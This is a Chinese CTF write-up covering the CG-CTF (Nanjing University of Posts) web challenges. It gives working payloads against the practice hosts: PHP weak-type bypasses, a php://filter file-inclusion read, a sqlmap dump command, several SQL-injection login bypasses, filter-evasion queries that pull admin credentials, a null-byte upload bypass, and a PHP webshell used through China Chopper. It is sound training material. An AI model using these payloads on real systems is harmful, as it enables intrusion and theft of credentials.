南郵CTF - Writeup

南郵CTF攻防平臺Writeup

By:Mirror王宇陽php

我的QQ歡迎交流:2821319009html

技術水平有限~大佬勿噴 ^_^前端

Web題

簽到題:

直接一梭哈……python

md5 collision:

題目源碼提示:mysql

$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
   echo "nctf{*****************}";
} else {
   echo "false!!!";
}}
else{echo "please input a";}

呃……腦中閃過「PHP弱類型」因而乎……固然是Google找一下嘍!linux

QNKCDZO的md5(32)加密後:0e830400451993494058024219903391git

結合 $md51 == $md52 就要0e開頭的md5碰撞!感謝Googleweb

構造:http://chinalover.sinaapp.com/web19/?a=s878926199asql

簽到2:

本能的直接源碼搜哈……shell

發現了字符輸入限制10位字符,而給出的指令是11位!得嘞……前端能看見的都能改 maxlength="11"只要限制字符數超過11或等於11位就行!

這題不是Web:

題目都說了!這題不是web!然而面對這頁面……除了圖片還有啥?

既然只有圖片那麼我就要再拿出寶貝了!WinHex (十六進制查看器)

**多顯然的flag呀^_^……**

層層遞進:

說來慚愧……看了源碼一臉懵逼……因而我分析題目發現硬核推薦的微博也沒得線索

在仔細一想!算了仍是扣源碼吧因而一個手滑……

沒錯!隨便點了一下,進一個有一個!因而按照 SO.html 一路點下去

覺得有驚喜!結果……

這是什麼鬼呀……

不過!哪位高手給那摩多註釋,難不成睡覺的時候按到了 Ctrl+C 嗎 ???

然而其中暗藏玄機……

AAencode:

這個題目就得Google瞭解(這個東西叫作顏編碼

首先,看看這頁面……不太像顏編碼呀?

更像是亂碼……因而!換一個編碼唄!

這樣纔對嘛……

下一步就是要藉助 Chrom 瀏覽器了(固然了在線的AAencode工具也能夠)

單身二十年:

唉……這題目說的就是我呀!踩過前面題目的坑了!俺得好好的留意題目的提示:「手速」,也就是速度快唄……

不在?可是首頁告訴我能夠找到呀!爲何呢?

手速……手速……手速……

後來留意了一下!

原來索引的位置不對呀!

看了一下跳轉!原來這個沒有flag頁面是從 http://chinalover.sinaapp.com/web8/search_key.php 頁面跳轉的

Burp抓包看一眼

在上一個頁面有一個自動跳轉……難怪要求手速快呢!難道不是要求「眼速快」嗎?

PHP decode:

題目源碼:「 見到的一個相似編碼的shell,請解碼 」

<?php
function CLsI($ZzvSWE) {
 
    $ZzvSWE = gzinflate(base64_decode($ZzvSWE));
 
    for ($i = 0; $i < strlen($ZzvSWE); $i++) {
 
        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
 
    }
 
    return $ZzvSWE;
 
}
eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));
?>

傻傻的看了源碼兩三分鐘!而後發現……一執行就有結果了!

文件包含:

題目直接提示了:LFI

點擊,但又說不???

從源碼中發現:file包含了show.php文件,也就表示,file就是文件包含屬性,

既然提示咱們能夠利用LFI,那麼就……讀一下源碼php吧!

http://4.chinalover.sinaapp.com/web7/index.php?
file=php://filter/read=convert.base64-encode/resource=index.php

利用php協議php:filter讀取本地任意文件(file:// 須要詳細的URL路徑才能夠哦)

PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=
<html>
    <title>asdf</title>
    
<?php
    error_reporting(0);
    if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

哎呀!一不當心~flag出來了^_^

單身一百年也沒用:

啥意思?又來套路……Burp啓動

竟然沒一點坑……呵呵

看到題目提示:

0就是的意思!那麼1就是的意思嘍

簡單經過……

MySQL:

按照提示:「Do you know robots.txt」 咱們看一下robots文件

經過對源碼的分析sql.php頁面要求咱們提交一個$id參數,使intval($_GET[id])==1024,可是$_GET[$id]== 1024 爲假!也就是說咱們須要同時保證兩個條件同時成立且爲真。

int intval ( mixed $var [, int $base = 10 ] )

構造:函數轉爲int整型

http://chinalover.sinaapp.com/web11/sql.php?id=1024e1

http://chinalover.sinaapp.com/web11/sql.php?id=1024.1

………………

GBK Injection:

哈哈!粗暴的題目!告訴咱們GBK注入(寬字節注入

直接丟進SQLmap跑一遍

python2 sqlmap.py --url "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%d6" -D sae-chinalover -T ctf4 --dump

嗯!確實全程sqlmap自動化,有點臉皮厚了……

/x00:

題目直接給出源碼:

if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必須輸入數字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '騷年,繼續努力吧啊~';
    }

從源碼分析來看:輸入的$nctf值必須符合「^[1-9]+$」正則;且能夠在strpos()函數中找到「#biubiubiu」字符!

頭疼……不能輸入字符?Google一下了解函數的缺陷吧!

按照題目給的提示:「/x00」 發現ereg函數存在截斷漏洞:%xx截斷遇到%00則默認字符串結束;而strpos函數則越過或是說識別%00截斷後面的字符內容。

構造:http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=111%00%23biubiubiu

bypass again:

提示是「弱類型參考文章)」;源碼梭哈一波:

if (isset($_GET['a']) and isset($_GET['b'])) {
    if ($_GET['a'] != $_GET['b'])
    if (md5($_GET['a']) == md5($_GET['b']))
        die('Flag: '.$flag);
    else
        print 'Wrong.';
}

啥玩意?在找一找0exxx」開頭的hash值;遇到了兩題這樣的!就順便解釋一下爲何0e開頭的會相等於呢??由於「0e」開頭的都會按照科學計數法轉爲最後的整型數「0」。

構造:http://chinalover.sinaapp.com/web17/index.php?a=s878926199a&b=s155964671a

變量覆蓋:

題目就是指引!Google瞭解一下……

首先分析php源碼核心部分……

<?php
    if($_SERVER["REQUEST_METHOD"] == "POST"){
        extract($_POST);
        if ($pass == $thepassword_123){
            echo $theflag;
        }
    }
?>

簡單的解析一下源碼函數:

extract():從數組中將變量導入當前符號表;key>變量名 ; value>變量值。

咱們只須要覆蓋變量並實現$pass == $thepassword_123就能夠獲得flag了!

post提交pass=123&thepassword_123=123 就會被後臺認爲$pass=12三、$thepassword_123=123 實現變量覆蓋……

假裝者:

神祕叨叨的……

burp打開!xff頭改爲127.0.0.1

竟然不對……按理來講改下X-Forwarded-For就能夠了呀!!!

因而我Google了一下僞造客戶端IP的方法,發現除了X-F-F方法之外,還有一種Client-IP

上傳繞過:

題目提示咱們猜猜源碼是如何寫的!

<form action="upload.php" method="post" enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="hidden" name="dir" value="/uploads/" />
    <input type="file" name="file" id="file" /> 
    <br />
    <input type="submit" name="submit" value="Submit" />
</form>

這HTML頁面時很是簡單的文件上傳的功能,題目是要求繞過!

按照返回結果,能夠肯定,咱們只有上傳的是能夠解析的PHP文件才能夠返回flag!

並且只容許jpg、gif、png等格式文件……

觀察一下返回數據包是如何後端校驗文件格式的!初步推定:後臺校驗文件是否爲圖片格式之後再判斷是否爲php格式文件!

在後臺會把file上傳的文件名和源碼中的dir元素Value進行拼接;轉向dir元素,由於它藏在源碼裏!必然有用!再仔細的觀察了第二個檢驗php文件報錯回顯:

經過「/uploads」目錄下的文件進行校驗;回想兩次校驗的不一樣,第一次校驗圖片格式的時候是讀取上傳文件的後綴名,第二次校驗是根據目錄來找到文件進行校驗!

咱們首先是繞過第一道圖片格式校驗的檢查,那麼就要求咱們的文件必須再上傳的時候是圖片格式。而保存的時候是dir元素的value和filename進行拼接的;若是咱們修改了dir元素的value=「/uploads/1.php0x00」 也就是說在file通過第一道校驗後與dir元素value拼接:「/uploads/1.php0x00test.jpg」 而這段在後臺被執行的時候被00截斷,保存爲:「/uploads/1.php」

SQL注入:

題目給了源碼分析一波:

<?php
    if($_POST[user] && $_POST[pass]) {
        mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
      mysql_select_db(SAE_MYSQL_DB);
      $user = trim($_POST[user]);  //trim():去除字符串兩側的空白字符
      $pass = md5(trim($_POST[pass]));
      $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
        echo '</br>'.$sql;
      $query = mysql_fetch_array(mysql_query($sql));
      if($query[user]=="admin") {
          echo "<p>Logged in! flag:******************** </p>";
      }
      if($query[user] != "admin") {
        echo("<p>You are not admin!</p>");
      }
    }
    echo $query[user];
?>

源碼告訴咱們輸入的字符串兩側的空白字符會被刪掉;而後如何拼接字符;在者就是告訴咱們admin用戶能夠得到flag,意味着咱們要利用admin的身份注入!(手工注入)

通過觀察構造sql:

select user from ctf where (user='admin')#') and (pw='".$pass."')

咱們須要的是構造user數據提交給後臺:user=admin')#&pass=12345

pass check:

$pass=@$_POST['pass'];
$pass1=***********;//被隱藏起來的密碼
if(isset($pass)){
    if(@!strcmp($pass,$pass1)){
        echo "flag:nctf{*}";
    }else{
        echo "the pass is wrong!";
    }
}else{
    echo "please input pass!";
}

題目給出了源碼;分析一波……

strcmp():比較兩個字符串,且大小寫敏感; str1第一個字符串。str2第二個字符串。若是 str1 小於 str2 返回 < 0; 若是 str1 大於 str2 返回 > 0;若是二者相等,返回 0;結合函數和源碼:pass==pass1 時返回flag

Google一下函數缺陷:期待的是傳入「合法字符串」,若是傳入的是非法的字符串則返回 return 0

既然指導了函數比較的缺陷,那麼咱們就傳入一個不合法的字符串,好比數組……

php爲了能夠上傳一個數組,會把上傳的變量結尾帶一對中括號看成數組上傳:key[]=xx

起名字真難:

<?php
function noother_says_correct($number)
{
       $one = ord('1');//ord():返回ascii值 
       $nine = ord('9');
    // one=49 ; nine=57 ;
       for ($i = 0; $i < strlen($number); $i++)  
       {   
               $digit = ord($number{$i}); //逐個返回number各個字符的ascii值
               if ( ($digit >= $one) && ($digit <= $nine) )
               { // 判斷number內有沒有1~9的數字字符:有則返回false
                       return false;  
               }
       }
       return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
   echo $flag;
else 
   echo 'access denied';
?>

綜合分析源碼:要求輸入的key不能夠在1~9之間,可是要求等於54975581388

一開始也是比較煩的可是發現它的數字限制不包括「0」;因而想到了「十六進制

key傳入十六進制數,在數字檢查中能夠避開的,由於54975581388=0xccccccccc

密碼重置:

題目要求對admin管理帳戶進行密碼重置,而郵箱收到了重置密碼的郵件html

抓包結果來看,咱們須要以admin的身份重置密碼!同時也留意到url中的user1=Y3RmdXNlcg==base解密結果爲url1=ctfuser

SQL Injection:*

打開F12發現,源碼被註釋了!

#GOAL: login as admin,then get the flag; 以管理員身份登陸,而後獲取flag
error_reporting(0);
require 'db.inc.php';

function clean($str){
    if(get_magic_quotes_gpc()){ //獲取當前 magic_quotes_gpc 的配置選項設置
        $str=stripslashes($str);
        // stripslashes():刪除反斜槓
    }
    return htmlentities($str, ENT_QUOTES);
    //把$str字符轉換爲 HTML 實體  ENT_QUOTES:編碼可用雙引號和單引號
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
    die('Invalid password!');
}

echo $flag;

從源碼分析來開,重要的就是單引號也會被編碼!意味着咱們輸入的單引號也會被編碼

構造:http://chinalover.sinaapp.com/web15/index.php?username=\&password=%20or%201%23 `

SELECT * FROM users WHERE name='\' AND pass='%20or%201%23'
即
SELECT * FROM users WHERE 
name='\' AND pass='                 『 [name]的值爲 [' AND pass=]  ,顯然邏輯值爲false 』
or 1                                『 但不要緊,[false or 1] 的邏輯值爲真』 
#'                                  『 註釋掉多餘的單引號 』
即
select * from users where false or 1

SQL注入2:

源碼:

<?php
    if($_POST[user] && $_POST[pass]) {
      mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
      mysql_select_db(SAE_MYSQL_DB);
      $user = $_POST[user];
      $pass = md5($_POST[pass]); 
      $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
            //mysql_fetch_array():結果集中取得一行做爲關聯數組,或數字數組
            //mysql_query():執行Mysql查詢
      if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
                            // strcasecmp():比較str1和str2,且不區分大小寫;
                            // 函數比較有一個缺陷就是:不論是str1>str2或str1==str2都返回「0」
                            // 也就是當passmd5處理後的值小於query[pw]就能夠繞過
          echo "<p>Logged in! Key: ntcf{**************} </p>";
      } else {
        echo("<p>Log in failure!</p>");
      }
    }
?>

題目提示咱們使用」union「方法……

咱們輸入的user 經過post提交給$user,後臺經過$user返回pw字段,在strcasecmp()函數中比較pw和$pass。這是 正常的功能流程。

咱們利用的點就是strcasecmp()函數的比較缺陷,這是我一開始的想法,可是想到題目的提示:「union」

因而我想到了利用閉合union的方法;

構造user='union select md5(a)# &pass=auser的value爲空,不存在該查詢則執行不成功;就會把union後一個查詢顯示在pw字段裏,即咱們查詢的是md5(a),結合sql語句的拼接,pw字段==md5(a)。

綜合題1:

是否是看不懂?沒啥看不懂得!這就是JsFuck

解碼後獲得:1bc29b36f623ba82aaf6724fd3b16718.php構造訪問後:

Response告訴咱們tip字段提示:history of bash (bash的歷史)

發現了 flagbak.zip,構造URL下載該文件並打開

綜合題2:*

查看到最後一個sm.txt(本CMS說明)頁面的時候發現了新大陸!

在這裏它列出了:config.php index.php passencode.php say.php sm.txt 和admin表結構

同時咱們分析URL時候,發現這個頁面存在文件包含哦~~~

知道了那麼多源碼的文件名,咱們試一試~~~

  • index.php源碼文件:

    沒有利用之處,不佔篇幅了……
  • passencode.php

    <?php function passencode($content){ //$pass=urlencode($content); $array=str_split($content); $pass=""; for($i=0;$i<count($array);$i++){ if($pass!=""){ $pass=$pass." ".(string)ord($array[$i]); }else{ $pass=(string)ord($array[$i]); } } return $pass; } ?>

    處理用戶輸入的密碼並進行ASCII加密處理

  • say.php

    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <?php include 'config.php'; $nice=$_POST['nice']; $say=$_POST['usersay']; if(!isset($_COOKIE['username'])){ setcookie('username',$nice); setcookie('userpass',''); } $username=$_COOKIE['username']; $userpass=$_COOKIE['userpass']; if($nice=="" || $say==""){ echo "<script>alert('暱稱或留言內容不能爲空!(若是有內容也彈出此框,不是網站問題喔~ 好吧,給個提示:查看頁面源碼有驚喜!)');</script>"; exit(); } $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能鏈接到數據庫!!".mysql_error()); mysql_select_db($db_name,$con); $nice=mysql_real_escape_string($nice); $username=mysql_real_escape_string($username); $userpass=mysql_real_escape_string($userpass); $result=mysql_query("SELECT username FROM admin where username='$nice'",$con); $login=mysql_query("SELECT * FROM admin where username='$username' AND userpass='$userpass'",$con); if(mysql_num_rows($result)>0 && mysql_num_rows($login)<=0){ echo "<script>alert('暱稱已被使用,請更換!');</script>"; mysql_free_result($login); mysql_free_result($result); mysql_close($con); exit(); } mysql_free_result($login); mysql_free_result($result); $say=mysql_real_escape_string($say); mysql_query("insert into message (nice,say,display) values('$nice','$say',0)",$con); mysql_close($con); echo '<script>alert("構建和諧社會,留言須要通過管理員審覈才能夠顯示!");window.location = "./index.php"</script>'; ?>

    處理用戶留言板的留言系統

  • config.php 不給讀 ……

  • so.php

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>搜索留言</title> </head> <body> <center> <div id="say" name="say" align="left" style="width:1024px"> <?php if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){ echo '萬惡滴黑闊,本功能只有用本公司開發的瀏覽器才能夠用喔~'; exit(); } $id=$_POST['soid']; include 'config.php'; include 'antiinject.php'; include 'antixss.php'; $id=antiinject($id); $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能鏈接到數據庫!!".mysql_error()); mysql_select_db($db_name,$con); $id=mysql_real_escape_string($id); $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id"); $rs=mysql_fetch_array($result); echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />'; mysql_free_result($result); mysql_free_result($file); mysql_close($con); ?> </div> </center> </body> </html>

    哦對了!這個頁面在以前就有問題,就是限制了瀏覽器訪問!

    if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser")」喏~

查完了sm.txt給的php文件,卻忘記了about.php這個頁面;點擊sm.txt的那個連接後來到了/about.php?file=sm.txt 一直在包含其它文件,卻忘了about.php

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
    <?php 
        $file=$_GET['file']; 
    if($file=="" || strstr($file,'config.php')){ 
        echo "file參數不能爲空!"; 
        exit(); 
    }else{ 
        $cut=strchr($file,"loginxlcteam"); 
        if($cut==false){ 
            $data=file_get_contents($file); 
            $date=htmlspecialchars($data); 
            echo $date; 
        }else{ 
            echo "<script>alert('敏感目錄,禁止查看!可是。。。')</script>"; 
        } 
    }

看到了一絲曙光:有一個敏感目錄loginxlcteam

打開一看,是個後臺登陸頁面!是否是都瞬間有一種sql注入的衝動!可是個人直覺告訴我~~不可信

果真,看了一下前輩的思路,他們在so.php中發現了「include 'config.php'; include 'antiinject.php'; include 'antixss.php'」等文件被包含,其中antiinject.php文件就是防止sql注入的

知道了有防注入的文件,就回到一開始發現的文件包含的位置查看該源碼:

<?php 
    function antiinject($content){ 
        $keyword=array("select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","="); 
        $info=strtolower($content); 
        for($i=0;$i<=count($keyword);$i++){ 
            $info=str_replace($keyword[$i], '',$info); 
        } 
        return $info; 
    } 
?>

從源碼中發現:過濾了"select","union","and","from",' ',"'",";",'"',"char","or","count","master","name","pass","admin","+","-","order","="等關鍵字

應對的繞過方法

應對關鍵字過濾,防護方式是把關鍵敏感單詞變爲空;能夠採用複寫的方式,即「ununionion」當過濾的時候,就會把中間的關鍵單詞變爲空;

應對過濾空格;採用/**/方式繞過;(固然了,也能夠採用圓括號的方式)

明白了繞過的方法,就須要來sql注入了!注入點在哪?前輩給的方向是so.php

<?php 
    if($_SERVER['HTTP_USER_AGENT']!="Xlcteam Browser"){ 
        echo '萬惡滴黑闊,本功能只有用本公司開發的瀏覽器才能夠用喔~'; exit(); 
    } 
    $id=$_POST['soid']; 
    include 'config.php'; 
    include 'antiinject.php'; 
    include 'antixss.php'; 
    $id=antiinject($id); // 過濾關鍵字和空格
    $con = mysql_connect($db_address,$db_user,$db_pass) or die("不能鏈接到數據庫!!".mysql_error()); 
    mysql_select_db($db_name,$con); 
    $id=mysql_real_escape_string($id); //轉義 SQL 語句中使用的字符串中的特殊字符
    $result=mysql_query("SELECT * FROM `message` WHERE display=1 AND id=$id"); 
    $rs=mysql_fetch_array($result); 
    echo htmlspecialchars($rs['nice']).':<br />&nbsp;&nbsp;&nbsp;&nbsp;'.antixss($rs['say']).'<br />'; 
    mysql_free_result($result); mysql_free_result($file); 
    mysql_close($con); 
?>

哦!對了,有一點要說一下哈~~~這個頁面處理的是用戶的留言數據,id內容其實是留言板的ID,利用union select *,…

  • 肯定字段:

    2 union select 1,2,3,4

  • 注入構造:

    • 表結構:

      create table admin (
          id integer,
          username text,
          userpass text,
      )

    知道了表結構,就不用猜庫、猜表了

    直接查數據……

    soid=1/**/aandnd/**/0/**/uunionnion/**/sselectelect/**/1,(sselectelect/**/group_concat(userppassass)/**/ffromrom/**/aadmindmin),3,4

    pass(ascii加密): 102 117 99 107 114 117 110 116 117 => fuckruntu

    soid=1/**/aandnd/**/0/**/uunionnion/**/sselectelect/**/1,(sselectelect/**/group_concat(usernnameame)/**/ffromrom/**/aadmindmin),3,4

    name:admin

  • http://cms.nuptzj.cn/loginxlcteam/index.php後臺中登陸

  • 打開xlcteam.php文件(利用以前發現的文件包含)

    <?php 
        $e = $_REQUEST['www']; // preg_replace
      $arr = array($_POST['wtf'] => '|.*|e',); 
      array_walk($arr, $e, ''); 
    ?>

    一開始看不懂這個馬!後來查了一下代碼得知:三參數回調函數

    array_walk(array,function,parameter):

    ​ array:數組

    ​ function:用戶自定義的函數名稱(preg_replace:正則函數)

    ​ parameter:可選

菜刀一連!找到flag文件就能夠了……

這是CG-CTF作的最充裕、收穫最大的一題

密碼重置2:

TIPS:
1.管理員郵箱觀察一下就能夠找到
2.linux下通常使用vi編輯器,而且異常退出會留下備份文件
3.弱類型bypass

咱們從源碼中觀察到了管理員郵箱:admin@nuptzj.cn

Vi編輯器 + 留下備份文件:vi的備份文件格式是:.[filename].swp

構造訪問:http://nctf.nuptzj.cn/web14/.submit.php.swp

下載文件:wget http://nctf.nuptzj.cn/web14/.submit.php.swp

........這一行是省略的代碼........

/*
若是登陸郵箱地址不是管理員則 die()
數據庫結構

--
-- 表的結構 `user`
--

CREATE TABLE IF NOT EXISTS `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `token` int(255) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- 轉存表中的數據 `user`
--

INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可見***', '***不可見***', 0);
*/


........這一行是省略的代碼........

if(!empty($token)&&!empty($emailAddress)){
    if(strlen($token)!=10) die('fail');
    if($token!='0') die('fail');
        // 要求token爲十位且爲零 不然退出腳本並輸出fail
    $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
    $r = mysql_query($sql) or die('db error');
    $r = mysql_fetch_assoc($r);
    $r = $r['num'];
    if($r>0){ //只有當sql查詢的count(*)也就是num大於或等於零的時候纔會輸出flag
        echo $flag;
    }else{
        echo "失敗了呀";
    }
}

綜上!咱們知道了得到flag的方法:

​ 輸入的用戶名爲:admin@nuptzj.cn

​ 輸入的token:十位數且爲「0」(符合提示的第三條)

要求十位數且結果爲零的花,又想到了科學技術法 token=0e12345678

file_get_contents:

頁面源碼:

<!--$file = $_GET['file'];
if(@file_get_contents($file) == "meizijiu"){
    //file_get_contents():將整個文件讀入一個字符串中
    echo $nctf;
}-->

從源碼提示來看:要求咱們包含的文件中的內容是「meizijiu」,並用file_get_contents()函數讀取

這裏須要引用的技術就是php協議:php://input:功能就是將data數據寫入並可執行; 訪問請求的原始數據的只讀流。

變量覆蓋2:

源碼:

foreach($_GET as $key => $value){  
    // foreach():循環語句 經常使用於遍歷數組
    // GET方式傳入數組
        $$key = $value; //可變變量,一個可變變量獲取了普通變量的值,做爲這個可變變量的值
    /* $$x:解釋 ~ ~ ~
         $x = "abc";  
         $$x = 200;  
         echo $x."<br/>";  // abc
         echo $$x."<br/>";  // 200
         echo $abc;         // 200
         
         》 $abc <= $$x <= $x == abc  //也就是$$x 把 $x 的值變成了一個變量
    */
}  
if($name == "meizijiu233"){
    echo $flag;
}

GET傳入數組['name'=>'meizijiu233']

構造:http://chinalover.sinaapp.com/web24/?name=meizijiu233


By:Mirror王宇陽 2019年12月6日

留:週末刷了南京郵電大學CTF平臺的Web題,以上是我的總結的思路Writeup

注:平臺又小部分題目,筆者這裏沒法打開,因此就沒有作……

最後附上平臺網址:https://cgctf.nuptsast.com/challenges#Web

**感謝CG-CTF平臺給的環境哦&_&**

相關文章
相關標籤/搜索